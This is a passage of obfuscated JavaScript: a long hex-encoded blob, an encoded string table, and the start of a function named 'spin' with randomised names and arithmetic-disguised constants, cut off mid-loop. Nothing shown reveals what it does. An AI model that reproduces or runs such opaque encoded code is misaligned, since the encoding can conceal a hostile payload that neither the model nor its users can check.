90808196bf96d085bbdba7869690dbc8909493c5c9d2b5a688c4c9c9acbc9f87d4d4c9c194db93a7a7db99d3c9a7d1dbdb9983db8889c0d3a7dba7d4c9dc8d9386db97d1cfa796d599dbc9d59addbfdb90dbd6bbdbc281c9dc96c982d590a7c5dbc8c98c96d5d4dbdba790cac99bd2b7aea7979ad29480a788d5879490d6a7c8db9ca7dd8681c7db978bd5c9a696db8881a186a787c994a7dcd5878c9c87d4b6c996d581918bd7d5addb8181a7c9a7d491d596dbdbd49091dba7dbc9a7d59bdba69b90d4d4dcc1da9aada7a780db909ba7c9db87a784a7d799aab8db9093818187d581a796dbaa87c9a7dba7db91918ea29d8ea7dbc9dbd3a7a796c9db929388a79687c0c79181908891dd88ca96b3c2db8d8cd1a2c9d4dbdb96c38596cabb96c58fdd9dc1dba7a79ac8aa9a94dba593d493c19da7dba791df90c891d69696c387878e9adaa794a7a6db8fdb83dba7b196c9dbaea7ccdbd281a8d3dba7a7a7d8c1a7d39082a996a7ac909a9b93d581db98dc90c8db9c96bedba78edbc58699c48596a786dd969d99dba2a7db8c96db8e909c99c69381c98edadbb6dbdddb9bc999dccb98c9c991c4c994cad59b9096c9a7dbdb9483999aa7839fa79290dbaad5c8a7dedba7a7db8291a7db91c3d0dbbc9696ddde81dbcf969cd2db969d81db97dba7d486c19381aaa78d8194c98688bdd99696db919ea79b96dbdb8896d6d59bdca7dbddaadc96c4c6db9a81db9adb88c9d4db81a7a7dcdb81c9dbdbdbcda79bdbbd819681c99799a79a8196a4b29babdfaa8d989096a5a188dbdbc9c987c5d599b081d4919bd7c58593db929988a7c990a799a1b59cdbdb92dc9b90c1a780c993a7a7a192db96a7db96db909081c9dbdbab9090d987ce818985968190a2b386d5a7929491a7879ab2dd998199d5d6dd8c87c9dbd6919181dbc9a7d59cd89ac98681bc91d497dca7bcb081dfa7a79bd3a7db96c99ca79899a7ddd8dd9881969edba78cd4c5a7acbfc996dba79ccb8787dbd582cc96a194a7c8c9a59691bea8aaa9c793ddd5d6dba786d0db8190c99bdaa7878c9696db9ba796d1dba5d3db93db9c9696b7a5bba791a7cea7dbc0c9a7a7c998a59a8edda78eaa9bc999a79c91db9da7d5db91a79ba787d4bf82a7c5dba7a5a787dbcbc8dd93c990cadbc9b793a88da7969796a596a78688c9a7dd86dba7a5acdba7a7aaa59edd9ac9dd9199c9c590a7d9c4cfb1c48683db9c999d90aaa5a7859696a7c48498db9198d7c9869c86a591dbcad5859891a79da79b9681ddcad1a78781a78ddb90dc95dbdba7db85ca9cd4a7c4a787ddd58edb90a1a7a788db9688c9a7a7cddbdba785a7d79692cedb9696c5a787a7dbd581d3c69b91c09096a597aadba7d4a7949696a7979691978896ddd48e81c9dba79b83dbbba7d38b90b486d18fd7c9c1c9db9a928693b694a799c99a96b0a79aa7a781dbdbc986db9c95a7cadb869296dbdba786a786dbd2d18da79686bba7a7d4a795a79aa7aa9bd4d6a7d9d4c08493dbd6b7bca7b599dbd9dba89aa790a79489c9a7ae81c9c9cf8994aec1c9a78ba7d4deb092d8a7db94a5d490d5d399c9c09bd096a7a791b3878c96db86daa7dbce8e8ed9bddbcec99bc9dbdcc1db819198a7dc86a791dd98a7978edbc9a796db87a598db96a790d596a7969ea78ddcc996d3969cdb8c969099808cced9dbad9187a799a7a7d6d5969693db96a7d5d5a7d1a7969a8787dddb87b685c9bb87d6b0dda8a79ba7d79c9f9b92a7a7c1c9b6d1949199a79496d381ddd4d8a785dba8919adb969ca7888086a78786dd9bd5b6c9d4cedb9396db96b58fc981a7c181b6a781a78196c8db96c696939adbd4d5d5a7cec99390cda79187b8a7a7ae91bbae968ca796cfcba19bc999abdb999acda79ca7a79686869688a78185968edb86a786dbdbdb8896dba794acaec994dfd5dcbcdd9991a7dd828687c3d5dfa7c2d494c9a6db96c9a9a7dbb7b0b9a790c3ac93c9c4c99096a587b190d58699c5a597b1d6a7a89adbd2c999db98d5a7dd85dcc9909e9496db96a7db91dbdbaa80c994d2c9d5a7999c9793989b9193a8dbddd0a7a7c9a7bbb196a7b0a7d6a3dbdb948694ae9bd3a7d9d1c9d9a7c99ac1a7a790b0a7dc8686b9a8cdb0a6a7a790a7b09ca78ea7c996db8ed596a2b293889a9d91969486dba8dbd593a5c8d59a86c3c2b09a96bca59a96d5dbc29c9296b3b6a7dbd5c996b0dbbbd5db97a7','969d9487b481','96ab98909f97ab81879a','8685999c81','c7cdcd999886a0b185','c4c1c0b08583808191','9f9a9c9b','c3c59ab1baa18ca4','c4c4c4ccccc4c3b0a79ea19199','c4c3ccc3c5c1c3bcbe9d9bbebe','93879a98b69d9487b69a9190','c3c5cdb9b684a58680','9d849087868d998083829496919f978c98929a878f939e9a969c85818780819b86819a9b96','c6c3c0c3ccc6a3bab894aca4','8680978681879c9b92'];uFZJCBPkZizvf=function(){return xTmxLGucdH;};return uFZJCBPkZizvf();}function spin(FfKzSIDp$NcOuXFZBJ_CHQSPN,GcPFo_H$YWuzwHOLObbqnFaE){var MRAuuiXbNlf=iHnmzEbnHW$DFPJlH_k,XlFOWWdynqeXPmh$KiC_tyWvrt=[],ISvQGucB_Gv=-parseInt(0x3)*-parseInt(0xab7)+-parseInt(0xa51)+Math.max(-0x16,-parseInt(0x16))*Math.max(0xfe,parseInt(0xfe)),QrsyFxJBYBnJAvsXcggpkOmhe=GcPFo_H$YWuzwHOLObbqnFaE[-0x196*Math.floor(0x16)+-parseInt(0xbcf)*-parseInt(0x1)+parseInt(0x13)*Math.ceil(parseInt(0x137))],PcfPYhaGCwWvPITkAeRVh$Lq_KV,fI$Qa$cy,Y_BlNB$L,TZcT$vuHmKlsqUbpjE,Mk_rsooAxKwbtN_gvflbiXQyD,hzD$VGIwfqJnbnlhUQ;while(ISvQGucB_Gv